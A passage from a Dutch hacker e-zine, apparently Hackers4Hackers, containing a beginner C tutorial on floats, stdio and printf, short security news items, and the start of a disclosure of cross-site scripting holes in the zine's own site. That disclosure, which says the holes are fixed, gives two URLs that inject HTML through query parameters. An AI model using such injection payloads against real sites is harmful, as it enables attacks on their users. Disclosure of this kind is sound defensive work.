Het floating-point nummer is ook een data type in de programmeer-taal C.
Maar anders dan bij een integer nummer
heeft een floating-point nummer een decimale punt. Dus bijvoorbeeld 5.01,
7.63 en -9.06 zijn floating-point nummers.
Een floating-point nummer wordt ook wel een real nummer genoemd.
Floating-point nummers worden aangegeven d.m.v. f of F
Net als een integer heeft ook een floating-point nummer een limiet. Volgens
de ANSI standaard kan de range
op zijn minst plus of minus 1.0*10^37 zijn.
Normaal heeft een floating-point nummer 32 bits. Zodat een floating-point
nummer in C op zijn minst 6 decimalen
aan de rechterkant van de punt heeft. Anders dan bij een integer produceer
je bij een floating-point nummer altijd
nog een floating-point nummer.
Een voorbeeld:

bij 571.2 / 10.0 krijg je het volgende floating-point nummer 57.12
Hetzelfde is het geval bij 571.2 / 10 en bij 5712 / 10.0 etc..

Het toewijzen van een variabele aan het floating-point gebeurd weer op
dezelfde manier als char en int.
Dus:

float variabelenaam;

Bij meer dan 1 variabele doe je

float variabelenaam1;
float variabelenaam2;
float variabelenaam3;

Of je doet

float variabelenaam1, variabelenaam2, variabelenaam3;

Bij float gebruik je %f om (bijvoorbeeld aan de printf() functie) door te
geven dat het hier om een float gaat.
Weer een voorbeeldje uit het boek TYCI24H van het gebruik van float en %f:

1: /* 04L04.c: Integer vs floating-point */
2: #include <stdio.h>
3:
4: main()
5: {
6: int int_num1, int_num2, int_num3; /* toewijzen van integer
variabelen */

7: float flt_num1, flt_num2, flt_num3; /* toewijzen van floating-point
variablen */

8:
9: int_num1 = 32 / 10;
10: flt_num1 = 32 / 10;
11: int_num2 = 32.0 / 10;
12: flt_num2 = 32.0 / 10;
13: int_num3 = 32 / 10.0;
14: flt_num3 = 32 / 10.0;
15:
16: printf("The integer divis. of 32/10 is: %d\n", int_num1);
17: printf("The floating-point divis. of 32/10 is: %f\n", flt_num1);
18: printf("The integer divis. of 32.0/10 is: %d\n", int_num2);
19: printf("The floating-point divis. of 32.0/10 is: %f\n", flt_num2);
20: printf("The integer divis. of 32/10.0 is: %d\n", int_num3);
21: printf("The floating-point divis. of 32/10.0 is: %f\n", flt_num3);
22: return 0;
23: }

Dan volgt hier wat uitleg:
In regel 6 worden er drie integer variabelen toegewezen, namelijk int_num1,
int_num2 en int_num3.
In regel 7 worden er drie floating-point variabelen toegewezen, namelijk
flt_num1, flt_num2 en flt_num3.
In regel 9 en 10 worden de resultaten van 32/10 toegewezen aan int_num1 en
aan flt_num1
In regel 11 en 12, 32.0/10 aan int_num2 en flt_num2
En in regel 13 en 14, 32/10.0 aan int_num3 en flt_num3.

Okey tot nu toe snappen we het ?? lees het anders nog eens rustig door :)

Dan de regels 16 t/m 21. Deze laten de output op het scherm zien van de
waarden die zijn toegewezen aan de
drie int variabelen en de drie floating-point variabelen.
LET OP !! zoals je ziet is er %d gebruikt bij de integer variabelen, en dus
%f bij de floating-point.

De programmeer-taal C gebruikt (zoals aangegeven in het boek) zogenaamde
scientific notaties.
Deze helpen je bij het schrijven van grote floating-point nummers. Ze maken
gebruik van exponenten.
Als je een beetje hebt opgelet met wiskunde dan weet je dit wel. Je geeft ze
aan met e of E.
Een voorbeeldje:

5000 kan ook geschreven worden als: 5e3
-300 kan ook geschreven worden als: -3e2
0.0025 kan ook geschreven worden als: 2.5e-3
etc..

Zo maakt C dan ook weer gebruik van %e en %E om een floating-point met een
scientific notatie toe te wijzen.
Het gebruik van %e of %E in de printf() functie is dus hetzelfde als %f


Het lezen van, en schrijven naar Standaard I/O
----------------------------------------------

Tot nu toe hebben we dus geleerd hoe we characters, integers en
floating-point nummers op het scherm toveren
met behulp van de functie printf().
Nu gaan we nog meer leren over de printf() functie en over de functie's:
getc(), putc(), getchar() en putchar().
Deze zijn nodig om de input te verkrijgen van de user of om de output op het
scherm te toveren.
Maar voordat we naar deze nieuwe functies gaan zal ik eerst iets vertellen
over de standaard input en output in C.

Een file bestaat uit characters en nummers. Omdat een computer gebruik maakt
van bits zullen alle characters
en nummers bestaan uit bits. De programmeer-taal C behandelt een file als
een serie van bytes.
(8 bits = 1 byte, voor degene die het nog niet wisten). Een serie van bytes
wordt ook wel een stream genoemd.
C behandeld alle file streams hetzelfde. Het maakt dus niet uit of een file
stream afkomstig is van een disk, tape drive,
printer etc..

In de programmeer-taal C zijn drie file streams:

stdin - De standaard input voor lezen
stdout - De standaard output voor schrijven
stderr - De standaard error voor het schrijven van error berichten

Normaal gesproken linkt de standaard input (stdin) naar je toetsenbord, de
standaard output (stdout)
en de standaard error (stderr) naar je beeldscherm.

Okey dan gaan we nu over naar het verkrijgen van input van de user.
We zullen gebruik gaan maken van de getc() en de getchar() functies.

De getc() functie leest het volgende character van een file stream, en
brengt de character terug als een integer.
De standaard syntax van getc() is:

#include <stdio.h>

int getc(FILE *stream);

uitleg: FILE *stream is hier een file stream (dat is een variabele). De
functie brengt de numerieke waarde van de
character-read terug. Als er een error (of een end-of-file) is, dan geeft de
functie EOF.

Hier volgt een voorbeeld dat de character leest die door de user is ingetypt
vanaf zijn toetsenbord en de character
op het scherm laat zien.

1: /* 05L01.c: Het lezen van input bij het aanroepen van getc() */
2: #include <stdio.h>
3:
4: main()
5: {
6: int ch;
7:
8: printf("Typ hier een character:\n");
9: ch = getc( stdin );
10: printf("Het zojuist ingetypte character is: %c\n", ch);
11: return 0;
12: }

Compileer het programma en run het. Als je nu bijvoorbeeld p intypt dan
geeftie als output ook p
Uitleg:
Zoals je ziet wordt er in regel 2 gebruik gemaakt van stdio.h, deze word
o.a. weer gebruikt door de printf() functie.
In regel 6 wordt de integer ch toegewezen.
Regel 8 print het bericht op het scherm waarbij er gevraagt wordt om een
character in te typen.
In regel 9 wordt er gebruik gemaakt van de standaard input (stdin) voor de
getc() functie. Deze geeft aan dat
de file stream afkomstig is van het toetsenbord.
Nadat de user een character intypt zal de getc() functie een numerieke
waarde (dat is een integer) van een character
terug sturen. Zoals je ziet is in regel 9 de numerieke waarde toegewezen aan
de integer variabele ch.
Regel 10 print de output weer op het scherm (m.b.v. printf() functie).

Dan gaan we nu over naar de getchar() functie

In de programmeer-taal C is de getchar() functie gelijk aan de getc(stdin)
functie.
De syntax voor de getchar() is:

#include <stdio.h>

int getchar (void);

Met void wordt hier aangegeven dat er geen argument nodig is om de functie
aan te roepen.

Een voorbeeld van het gebruik van getchar() om de input van de user te
lezen:

1: /* 05L02.c: Het lezen van input bij het aanroepen van getchar() */
2: #include <stdio.h>
3:
4: main()
5: {
6: int ch1, ch2;
7:
8: printf("Typ twee characters:\n");
9: ch1 = getc( stdin );
10: ch2 = getchar( );
11: printf("De eerste character is: %c\n", ch1);
12: printf("De tweede character is: %c\n", ch2);
13: return 0;
14: }

Als je dit compileert en runt, en je typt bijv: hi, dan geeftie als output
bij 1:h en bij 2:i

Dit is weer bijna hetzelfde als bovenstaande proggie. Alleen leestie nu twee
characters.
In regel 6 worden er echter twee integers toegewezen, namelijk ch1 en ch2.
En in regel 8 wordt weer een bericht op het scherm getovert waarbij gevraagt
wordt om twee characters in te typen.
In regel 9 en 10 worden de functies getc() en getchar() aangeroepen. Om de
twee characters te lezen, die
door de user zijn ingetypt.
Je kunt echter in regel 10 ook weer de getc( stdin ) functie invoeren, omdat
getc(stdin) hetzelfde is als getchar().
Regel 11 en 12 zorgen weer voor de output op het scherm.

Naast de functies getc() en getchar() voor het lezen. heeft C ook twee
functies voor het schrijven.
Deze zijn putc() en putchar().

De putc() functie schrijft een character aan de file stream, welke, in dit
geval, de standaard output is van je scherm.

De syntax voor de putc() is:

#include <stdio.h>

int putc(int c, FILE *stream);

Het eerste argument, int c, duid erop dat de output een character is,
opgeslagen in een integer variabele.
Het tweede argument FILE *stream duid op een file stream.

Dan nu een voorbeeld waarbij the putc() functie wordt gebruikt om de
character A op het scherm af te drukken.

1: /* 05L03.c: Outputting van een character met putc() */
2: #include <stdio.h>
3:
4: main()
5: {
6: int ch;
7:
8: ch = 65; /* De numerieke waarde van A */
9: printf("De character dat de numerieke waarde 65 heeft is:\n");
10: putc(ch, stdout);
11: return 0;
12: }

Uitleg:
Zoals je weet is de numerieke waarde van 65 in de ASCII character lijst een
A.
De integer variabele ch in regel 6 heeft de waarde 65 gekregen (zie regel 8)
Regel 9 laat weer een message op het scherm zien.
En in regel 10 zorgt de putc() functie voor de afdruk van de A op het
scherm.
Het eerste argument van de putc() functie is de integer variabele (ch) deze
heeft de waarde 65,
en het tweede argument is de standaard output file stream (stdout)

Een ander functie voor schrijven is de putchar()
Deze zal ik nu uitleggen.

putchar() wordt evenals putc() gebruikt voor het afdrukken van een character
op het scherm. Het enige verschil tussen
deze twee functies is dat de putchar() functie maar 1 argument nodig heeft
om de character te bevatten.

De syntax voor putchar() is:

#include <stdio.h>

int putchar(int c);

Dan nog een voorbeeldje van het gebruik van deze functie

1: /* 05L04.c: Outputting van characters d.m.v. putchar() */
2: #include <stdio.h>
3:
4: main()
5: {
6: putchar(65);
7: putchar(10);
8: putchar(66);
9: putchar(10);
10: putchar(67);
11: putchar(10);
12: return 0;
13: }

Dit proggie zorgt voor de output van A B C op het scherm.
Zoals je zelf al kon raden staan de numerieke waarde 65, 66 en 67 dus voor A
B en C in de ASCII character lijst.
Het getal 10 is de numerieke waarde van de nieuwe regel (De character \n).


De printf() functie
-------------------

De printf() functie is een hele belangrijke functie in C.
Het zorgt namelijk voor de afdruk van berichten op je scherm. En omdat het
zo'n belangrijke functie is,
zullen we er wat meer over gaan leren.
Eerst zal ik weer de syntax van de printf() functie geven. Deze is als
volgt:

#include <stdio.h>

int printf(const char *format-string, ...);

Uitleg:
Met de const char *format-string wordt het eerste argument bedoelt. 'Const
char *' zal ik nog op terugkomen.
Maar voorlopig kun je het eerste argument van printf() beschouwen als een
serie van characters,
met aanhalingstekens eromheen.
Zo doe je bijvoorbeeld: "De som van twee integers %d + %d is: %d.\n"
Met de ... (zie syntax) wordt weer het formaat bedoelt. Dus %c, %d, %f etc..
Ik zal een overzichtje geven van de formaten die printf() gebruikt:

%c = Het character formaat. \
%d = Het integer formaat. \
%i = Het integer formaat (hetzelfde als %d). \ Deze zijn al besproken
%f = Het floating-point formaat. /
%e = Het scientific notatie formaat (Dit is de lowercase e). /
%E = Het scientific notatie formaat (Dit is de uppercase E). /
%g = Gebruikt %f of %e, (ligt eraan welk resultaat kleiner is)
%G = Gebruikt %f of %E, (ligt eraan welk resultaat kleiner is)
%o = Het unsigned octal formaat.
%s = Het string formaat.
%u = Het unsigned integer formaat.
%x = Het unsigned hexadecimaal formaat (Dit is de lowercase x).
%X = Het unsigned hexadecimaal formaat (Dit is de uppercase X).
%p = Laat het corresponderende argument zien dat een pointer is.
%n = Records het aantal characters dat tot dan toe geschreven is.
%% = Zorgt voor de output van een percentage teken (%).

We gaan het nu hebben over %x en %X. Deze converteren decimale nummers om in
hexadecimale nummers.
Eerst weer even een beetje uitleg.
Het verschil tussen een decimaal nummer en een hexadecimaal nummer is,
dat hexadecimaal een base-16 systeem heeft. Een hexadecimaal (hex) is een 16
tallig stelsel (2^4 = 16).
En het loopt van 0 t/m F. Voor meer info over decimalen en hexadecimalen zie
artikel van PhantomLord.
In h4h-0c.

Een voorbeeld van het converteren van decimale nummers naar hex nummers,
d.m.v. %x of %X.

1: /* 05L05.c: Converteren naar hex nummers */
2: #include <stdio.h>
3:
4: main()
5: {
6: printf("Hex(uppercase) Hex(lowercase) Decimal\n");
7: printf("%X %x %d\n", 0, 0, 0);
8: printf("%X %x %d\n", 1, 1, 1);
9: printf("%X %x %d\n", 2, 2, 2);
10: printf("%X %x %d\n", 3, 3, 3);
11: printf("%X %x %d\n", 4, 4, 4);
12: printf("%X %x %d\n", 5, 5, 5);
13: printf("%X %x %d\n", 6, 6, 6);
14: printf("%X %x %d\n", 7, 7, 7);
15: printf("%X %x %d\n", 8, 8, 8);
16: printf("%X %x %d\n", 9, 9, 9);
17: printf("%X %x %d\n", 10, 10, 10);
18: printf("%X %x %d\n", 11, 11, 11);
19: printf("%X %x %d\n", 12, 12, 12);
20: printf("%X %x %d\n", 13, 13, 13);
21: printf("%X %x %d\n", 14, 14, 14);
22: printf("%X %x %d\n", 15, 15, 15);
23: return 0;
24: }

Compileer en run het programma en je zult als output krijgen:

Hex(uppercase) Hex(lowercase) Decimal
0 0 0
1 1 1
2 2 2
3 3 3
4 4 4
5 5 5
6 6 6
7 7 7
8 8 8
9 9 9
A a 10
B b 11
C c 12
D d 13
E e 14
F f 15

Uitleg:
Zoals je ziet gebruik je hier steeds de printf() functie.
Regel 6: Deze drukt een regel op het scherm af waarbij de velden
Hex(uppercase), Hex(lowercase) en
de decimaal voorkomen.
Regel 7 t/m 22: Deze laat de output zien van de hex en decimale nummers 0
t/m 15.
(Het zijn dus in totaal 16 printf() functies i.v.m. het hexadecimale
tallenstelsel)
%X en %x worden gebruikt voor de uppercase (=Hoofdletter) en lowercase
(=Kleine letter).

Niemand zal echter zo'n programma'tje maken, omdat dit ook gedaan kan worden
d.m.v. een loop.
Maar hier kom ik in mijn volgende artikelen nog wel op terug.

Dan gaan we nu verder met de minimale veld breedte. In C is het toegestaan
om een integer te plaatsen
tussen het percentage teken (%) en de formaat letter (c, d etc..)
De integer wordt dan de minimale veld breedte genoemd, omdat het er voor
zorgt dat de output deze veld breedte
bereikt. Voorbeeld: in %10f is het getal 10 de minimale veldbreedte.
Deze zorgt er dus voor dat de output op zijn minst 10 characters lang is.

Ik zal nog een voorbeeld geven:

1: /* 05L06.c: De minimale veld lengte */
2: #include <stdio.h>
3:
4: main()
5: {
6: int num1, num2;
7:
8: num1 = 12;
9: num2 = 12345;
10: printf("%d\n", num1);
11: printf("%d\n", num2);
12: printf("%5d\n", num1);
13: printf("%05d\n", num1);
14: printf("%2d\n", num2);
15: return 0;
16: }

Compileer en run het programma weer en je zult zien:

12
12345
12
00012
12345

Uitleg:

Regel 6: hier worden twee integer variabelen toegewezen. (num1 en num2)
Deze krijgen de waarde 12 en 12345 in de regels 8 en 9.
In regel 10 en 11 is er GEEN minimale veldbreedte toegewezen. Je ziet dan
ook als output gewoon de
12 en de 12345.
Regel 12: hier wordt een minimale veldbreedte van 5 toegewezen. (%5d)
De output neemt dan ook 5 characters in beslag. 3 blanko (gewoon spaties
dus) en het getal 12 (2 characters)
Regel 13: Met %05d (let vooral op de 0) wordt bedoelt dat de veldbreedte ook
weer 5 is,
alleen dat in de plaats van de 3 blanko regels (de 3 spaties dus) nu drie
keer de 0 wordt geschreven.
Regel 14: De %2d zet de veldbreedte op 2. (maar je ziet nog steeds de output
12345)
Dit betekent dat: wanneer de minimale veldbreedte kleiner is dan de lengte
van de oorspronkelijk output
er gewoon de normale output wordt afgedrukt op het scherm. (hier dus 12345)

Het uitlijnen van de output is het volgende onderdeel dat ik hier ga
bespreken.

Zoals je gezien hebt in het vorige voorbeeld word de output steeds naar
rechts uitgelijnt.
De output wordt dus steeds aan de rechterkant van het veld geplaatst, zolang
de veldbreedte langer is
dan de breedte van de output.
Nu is het natuurlijk ook mogelijk in C om niet rechts, maar juist links uit
te lijnen.
En dat is waar ik het nu over ga hebben.
Om links uit te lijnen is eigenlijk heel simpel. Je moet gewoon voor de
minimale veldbreedte het
min (-) teken zetten.
Bijvoorbeeld %-12d maakt de minimale veldbreedte 12 lang, en zorgt voor een
uitlijning naar links.

Een voorbeeldje van een linker en een rechter uitlijning:

1: /* 05L07.c: Uitlijning van de output */
2: #include <stdio.h>
3:
4: main()
5: {
6: int num1, num2, num3, num4, num5;
7:
8: num1 = 1;
9: num2 = 12;
10: num3 = 123;
11: num4 = 1234;
12: num5 = 12345;
13: printf("%8d %-8d\n", num1, num1);
14: printf("%8d %-8d\n", num2, num2);
15: printf("%8d %-8d\n", num3, num3);
16: printf("%8d %-8d\n", num4, num4);
17: printf("%8d %-8d\n", num5, num5);
18: return 0;
19: }

De output is dan als volgt:

1 1
12 12
123 123
1234 1234
12345 12345

Uitleg:
In regel 6 zie je weer 5 integer variabelen, num1, num2 etc..
In regel 8 t/m 12 krijgen ze waardes mee. num1=1, num2=12 etc..
In regel 13 t/m 17 worden ze door de printf() functie op het scherm
getovert.
Zoals je ziet lijnt %8d uit naar rechts, en %-8d (let op het - teken !) naar
links.

Het laatste onderdeel wat is bespreek van de printf() functie is de punt (.)

In C kun je een . en een integer zetten achter de minimale veldbreedte.
De combinatie van beide (een . en een integer) maakt een zogenaamde
precision specifier.
Deze precision specifier wordt gebruikt om het aantal decimalen voor
floating-point nummers vast te stellen,
of om de maximale veldbreedte (of lengte) van integers of strings vast te
stellen.
(strings zullen later behandeld worden in de toekomstige artikels :)

Bijvoorbeeld, %10.3f, hier is de minimale veldbreedte dus 10 characters, en
het aantal decimalen is 3.

Hier volgt weer een voorbeeldje uit TYCI24H van uitlijning (links / rechts)
m.b.v. zogenaamde precision specifiers.

1: /* 05L08.c: Het gebruik van precision specifiers */
2: #include <stdio.h>
3:
4: main()
5: {
6: int int_num;
7: double flt_num;
8:
9: int_num = 123;
10: flt_num = 123.456789;
11: printf("Default integer formaat: %d\n", int_num);
12: printf("Met precision specifier: %2.8d\n", int_num);
13: printf("Default float formaat: %f\n", flt_num);
14: printf("Met precision specifier: %-10.2f\n", flt_num);
15: return 0;
16: }

Compileer het proggie (bijv: gcc testje.c -o test) run het en je ziet als
output:

Default integer formaat: 123
Met precision specifier: 00000123
Default float formaat: 123.456789
Met precision specifier: 123.46

Uitleg:
Het programma heeft 1 integer, int_num in regel 6.
Het programma heeft 1 floating-point nummer, flt_num in regel 7.
In regel 9 wordt de waarde 123 toegewezen aan de integer.
In regel 10 wordt de waarde 123.456789 toegewezen aan het floating-point
nummer.
In regel 11 wordt gewoon de integer waarde 123 afgedrukt.
In regel 12 wordt de precision specifier gebruikt. Er wordt aangeduid dat de
maximale veldbreedte 8 characters
lang is.
Je ziet in de output dan ook dat er 5 nullen (5 + 3 characters = 8) worden
gebruikt.
In regel 13 wordt weer gewoon de floating-point variabele gebruikt (=
123.456789).
En in regel 14 worden (m.b.v de precision specifier) het aantal decimalen
gereduceert tot 2 (= .2)
Je ziet ook weer dat het - teken gebruikt wordt om links uit te lijnen.
Verder zie je dat er 123.46 staat, en NIET 123.45.
Dit komt omdat 123.456789 afgerond op 2 decimalen 123.46 is. (mja.. dit had
je natuurlijk kunnen raden :)

Dit was het voor wat het printf() commando betreft.


Operators
---------

Nee geen sysops, hehe :)
Maar OPERATORS.. misschien wel een van de lastigste dingen in het
programmeren.
Tenminste dat ligt eraan hoe goed je in wiskunde bent natuurlijk.
Maar het is wel belangrijk voor de volgende artikelen, waar dit weer terug
komt.
Het zijn de 'expressions'. Als het goed is dan ken je ze al,
(citaat Tozz: Iedere beetje computer gebruik hoort dit te weten, magoed..
voor de total knowno..)

'*' betekent vermenigvuldigen (Multiplication)
'/' betekent delen (Division)
'+' betekent optellen (Addition)
'-' betekent aftrekken (Substraction)
'%' betekent modulus (Remainder)

C kent echter nog meer van deze 'operators', waarvan ik er hier ook een paar
zal bespreken.

Ik begin met de zogenaamde Assignment Operator (=). Het = teken dus.

We hebben deze al vaker gebruikt in de vorige programma's / artikelen.
Een voorbeeldje: a = 5, dit statement schrijft de waarde '5' in het geheugen
van de integer variabele 'a'.
Hetzelfde is het geval bij: b = a = 5, dit statement voegt '5' aan de
integer variabele 'a' toe,
en daarna aan de integer variabele 'b'. Dus zowel a als b hebben de waarde 5
gekregen.

Okey dit was nog niet zo moeilijk ;)

Dan nu het combineren van 'operators' met =

Stel: Je hebt twee integer variabelen, x en y, hoe krijg je nu de som van x
en y toegewezen aan een andere
integer variabele, z ?

Zoals je misschien wel weet is dit eigenlijk best simpel, namelijk door z =
x + y
Laten we nu datzelfde voorbeeld nog eens een keertje bekijken. Alleen maken
we van de derde integer, z,
nu een x.
We krijgen dan natuurlijk weer: x = x + y
In C hebben we hiervoor een nieuwe 'operator', namelijk +=
Je kunt x = x + y dan herschrijven naar x += y
De combinaties van = teken met andere 'operators' (+,-,*,/ en %) geven dan
ook weer nieuwe 'operators'
Deze zijn:

+= Addition assignment operator (dit is dus optellen)
-= Subtraction assignment operator (Dit is aftrekken)
*= Multiplication assignment operator (Dit is vermenigvuldigen)
/= Division assignment operator (Dit is delen)
%= Remainder assignment operator (Dit is modulus)

Even een voorbeeldje voor de duidelijkheid:

x += y is gelijk aan x = x + y
x -= y is gelijk aan x = x - y
x *= y is gelijk aan x = x * y
x /= y is gelijk aan x = x / y
x %= y is gelijk aan x = x % y

Let Op !
z = z * x + y is niet hetzelfde als z *= x + y
omdat z *= x + y betekent z = z * (x + y) <--- let op de haakjes !

Dan weer eens een voorbeeldje uit het TYCI24H boek waarbij gebruik gemaakt
wordt van deze 'assignment operators'

1: /* 06L01.c: Het gebruik van assignment operators */
2: #include <stdio.h>
3:
4: main()
5: {
6: int x, y, z;
7:
8: x = 1; /* initialize x */
9: y = 3; /* initialize y */
10: z = 10; /* initialize z */
11: printf("Gegeven x = %d, y = %d, en z = %d,\n", x, y, z);
12:
13: x = x + y;
14: printf("x = x + y assigns %d to x;\n", x);
15:
16: x = 1; /* reset x */
17: x += y;
18: printf("x += y assigns %d to x;\n", x);
19:
20: x = 1; /* reset x */
21: z = z * x + y;
22: printf("z = z * x + y assigns %d to z;\n", z);
23:
24: z = 10; /* reset z */
25: z = z * (x + y);
26: printf("z = z * (x + y) assigns %d to z;\n", z);
27:
28: z = 10; /* reset z */
29: z *= x + y;
30: printf("z *= x + y assigns %d to z.\n", z);
31:
32: return 0;
33: }

Pffwoeeeei.., ik zou zeggen lees het nog eens rustig door, en typ het eens
over, compileer en run het proggie.
Je zult zien dat de output dan wordt:

Gegeven x = 1, y = 3, en z = 10,
x = x + y assigns 4 to x;
x += y assigns 4 to x;
z = z * x + y assigns 13 to z;
z = z * (x + y) assigns 40 to z;
z *= x + y assigns 40 to z.

De gebruikelijke uitleg,

In regel 8 t/m 10 worden weer de waarden toegekent aan de integer
variabelen.
Regel 11 spreekt voor zich :)
Regel 13, hier x = x + y berekent en het resultaat wordt toegewezen aan x.
In regel 14 wordt dit resultaat op het scherm afgedrukt.
In regel 17 en 18 wordt ditzelfde weer gedaan (het resultaat wordt dus weer
berekent en getoont)
In regel 16 wordt de x weer gereset naar de waarde 1
In regel 20 wordt dit weer gedaan zoals je ziet.
Regel 21 doet een vermenigvuldiging en een optelling, en slaat het resultaat
op in de integer z.
Regel 22 zorgt weer voor de output van het resultaat op het scherm.
In regel 24 t/m 30 worden ook weer 2 resultaten berekent en getoont.
Deze resultaten zijn echter beide 40, omdat de z = z * (x + y) in regel 25
hetzelfde is als,
z *= x + y in regel 29. (zoals uitgelegt hierboven)

Dan gaan we nu verder met het maken van negatieve nummers in C.
Je kunt een numeriek nummer heel simpel negatief maken door er een - teken
voor te zetten. Best logisch ;)
Bijvoorbeeld de integer 9, doe je gewoon -9.
Bij een floating-point nummer doe je precies hetzelfde.
Een voorbeeld: x = 1.234, -x geeft dan -1.234.
En: x = -1.234, -x geeft dan 1.234

Incrementing or Decrementing by One,
het symbool voor de 'increment operator' is ++, voor de 'decrement operator'
is dit --

Zo kun je het statement x = x + 1, schrijven als ++x
Dit statement wordt de pre-increment operator genoemd, omdat de operator
eerst 1 toevoegt aan x,
en dan de waarde x krijgt.
Gebruik je x++ (dit is dus precies andersom dan ++x) dan noem je dat een
post-increment operator.
Hetzelfde geldt natuurlijk voor --x en x--

Groter dan / of kleiner dan....

Je kent dat wel uit de wiskunde lessen.
In C worden de volgende expressions gebruikt:

== Gelijk aan
!= Niet gelijk aan
> Groter dan
< Kleiner dan
>= Groter of gelijk aan
<= Kleiner of gelijk aan

Een belangrijk dingetje om te weten is dat deze expressions altijd een
resultaat geven van 0 of 1.
Als het klopt geeftie een 1 anders een 0
Dus: x = 3, en y = 5 en je zou doen x < y dan is het resultaat dus 1

Het laatste onderdeel van de 'operators' dat is ga bespreken is de
zogenaamde 'Cast operator'
In C kun je een data type converteren in een ander data type d.m.v. cast
operator.
We kunnen zo bijvoorbeeld van een integer een float maken,
we doen dan bijv: (float)5, deze converteert de integer 5 naar een
floating-point nummer, namelijk 5.0
(Let op de aanhalingstekens ( en ) bij het data type)

Nog een voorbeeldje uit het TYCI24H boek:

1: /* 06L04.c: Het gebruik van de cast operator */
2: #include <stdio.h>
3:
4: main()
5: {
6: int x, y;
7:
8: x = 7;
9: y = 5;
10: printf("Gegeven x = %d, y = %d\n", x, y);
11: printf("x / y produceert: %d\n", x / y);
12: printf("(float)x / y produceert: %f\n", (float)x / y);
13: return 0;
14: }

De output is als volgt:

Gegeven x = 7, y = 5
x / y produceert: 1
(float)x / y produceert: 1.400000

Zoals je ziet kun je dus d.m.v. (float)x de data type converteren.
In dit voorbeeldje dus naar een floating-point nummer.

Dit was het voor deze keer. Ik hoop dat jullie er wat aan hebben. Ook hoop
ik voor de volgende h4h weer een nieuw
artikel klaar te hebben liggen. Tenminste als jullie willen dat ik er mee
door ga natuurlijk.
Dus mail me even over: wat jullie ervan vinden ?? (doorgaan of niet?), voor
comments etc..
LET wel op: ik ben ook nog een totale newbie op het gebied van C.
Dus kom niet met te moeilijke vragen :))

grtzz _Razor_


-------------------------------------------------------
10. Kort.
-------------------------------------------------------
Kort is een terugkomend item in H4H, In dit deel bespreken
wij nieuwtjes op het gebied van security, artikeltjes die
wij tegen kwamen in de ICT vakbladen, forums e.d. Natuurlijk
mogen lezers ook stukjes aandragen, dat kan naar het standaard
adres voor artikelen artikel@hackers4hackers.org.

--
‘Microsoft dreigt Windows uit de handel te nemen’

Een wereld zonder Windows. Dat is waar Microsoft de Amerikaanse justitie
mee dreigt als het concern wegens monopoliemisbruik veroordeeld wordt.
Negen Amerikaanse staten eisen dat Microsoft de internetbrowser Explorer
loskoppelt van het besturingsprogramma Windows. Volgens Microsoft zou
daarmee voor miljarden aan kapitaal vernietigd worden. Bill Gates zal
voor de rechtbank uitleggen dat het technisch ook onmogelijk is om de
twee programma's uit elkaar te halen. Het zou Windows instabiel maken
en beveiligingslekken veroorzaken

--
'Spamverbod gevaar voor meningsuiting'

Het verbieden van spam in de Verenigde Staten kan nadelige gevolgen
hebben voor de vrijheid van meningsuiting in andere landen.

Dat zegt de Direct Marketing Association (DMA), een Amerikaanse
lobbygroep voor reclamemakers via telefoon, post en e-mail.

"Als de Verenigde Staten wetgeving aannemen waardoor je geen informatie
kunt versturen, omdat het informatie is die ik niet noodzakelijk wil
ontvangen, geef je daarmee het groene licht aan de rest van de wereld
om hetzelfde principe te gebruiken bij niet-commerciële uitingen"
,
aldus Jerry Cerasale van de DMA tijdens een debat van het Cato Institute.

Cerasale pleit voor een opt-out regeling, zo meldt Wired News. "Je moet
wel de mogelijkheid bieden om te zeggen: 'Ik wil deze e-mails niet meer
en daar moet je aan voldoen'."


Een tijdens het debat aanwezige vertegenwoordiger van de
digitale-burgerrechtenorganisatie Electronic Privacy Information Center
(EPIC) erkende dat vrijheid van meningsuiting in het geding kan zijn bij
een verbod van spam, maar dat weerhield hem er niet van te pleiten voor
anti-spammaatregelen.

--
'Priority Telecom haalt anti-Scientology site van het internet'

De lange arm van de Scientology Kerk heeft weer eens toegeslagen.
De kerk verzette zich eerder tegen het online zetten van citaten van
Scientology oprichter L. Ron Hubbard, of andere met copyright
beschermde teksten van de kerk. De tactiek is telkens hetzelfde.
Scientology stuurt een leger advocaten af op de ongelukkige eigenaar
van de website waar de citaten op staan. Om een lang en duur proces
te voorkomen haalt de geschrokken eigenaar de citaten meestal snel
weer van het internet. Dit keer heeft de Scientology Kerk Priority
Telecom, een dochterbedrijf van UPC, zover gekregen de internetprovider
Xtended Internet af te sluiten. Xtended Internet is een kleine provider
die opkomt voor de vrijheid van meningsuiting op het internet en gaf
onderdak aan xenu.net, een anti-Scientologywebsite. Inmiddels heeft
xenu.net een ander onderkomen gevonden en is weer gewoon te bezoeken.

--
'Antivirusprogramma mag geen FBI-virus doorlaten '

Lek voor Magic Lantern kan misbruikt worden
Makers van antivirussoftware willen geen 'achterdeur' openlaten waarmee
de FBI digitale informatie kan achterhalen. Zowel Network Associates,
Trend Micro, Sophos als Symantec zijn niet te porren voor het idee om
via virussen de pc van een verdachte binnen te dringen.

Een maand geleden meldde MSNBC.com dat de FBI onder de codenaam
'Magic Lantern' werkte aan surveillancesoftware die net als een virus
zich ongezien installeert op een pc en dan alle toetsaanslagen doorstuurt.
De politiedienst zou zo wachtwoorden tot geëncrypteerde informatie en
andere gegevens kunnen vastkrijgen. Het plan is een reactie op lastige
en tijdrovende gerechtelijke onderzoeken, die worden gedwarsboomd door
het feit dat criminelen in toenemende mate zware encryptie toepassen om
hun gegevens te beschermen.

--
'Electricity over IP'

Helaas een engels artikel, geintreseerd... lees verder op:
http://www.securitydatabase.net/forum/viewtopic.php?TopicID=3870#8072

--
(Bron: http://www.securitydatabase.net)


-------------------------------------------------------
11. Hackers 4 Hackers onder de loep.
-------------------------------------------------------
Het volgende stukje tekst is ons toegestuurd, we konden het
niet laten om het na het fixen zelf maar te publiceren ;P
de benedenstaande bugs werken dus niet meer !


Inleiding:
----------
op de meeting van h4h zaten Nowhereman en ik wat te discussieren
over de weinige security-praat op rizenet.
Daarom besloten wij eens een initiatief te nemen en een site voor
de gein onder de loep te nemen. Dat hebben we dus gedaan. En zo
vonden wij een paar security problemen in h4h zelf.


Probleem:
---------
Zo is h4h vulnerable voor Cross Side Scripting (CSS). Wij vonden de
volgende mogelijkheden om CSS toe te passen:

http://www.hackers4hackers.com/?menu=1000&page=<h1>boe</h1>
http://www.hackers4hackers.com/cgi-bin/search.cgi?show_search=no&result_num=10&case=insensitive&connector=or&show_summary=yes&keyword=%3Ch1%3Eboe%3C%2Fh1%3E

Zoals je ziet belandt de HTML code die we daar neerplanten zo
op de pagina (Het kenmerk van CSS). Na enig onderzoek van proberen
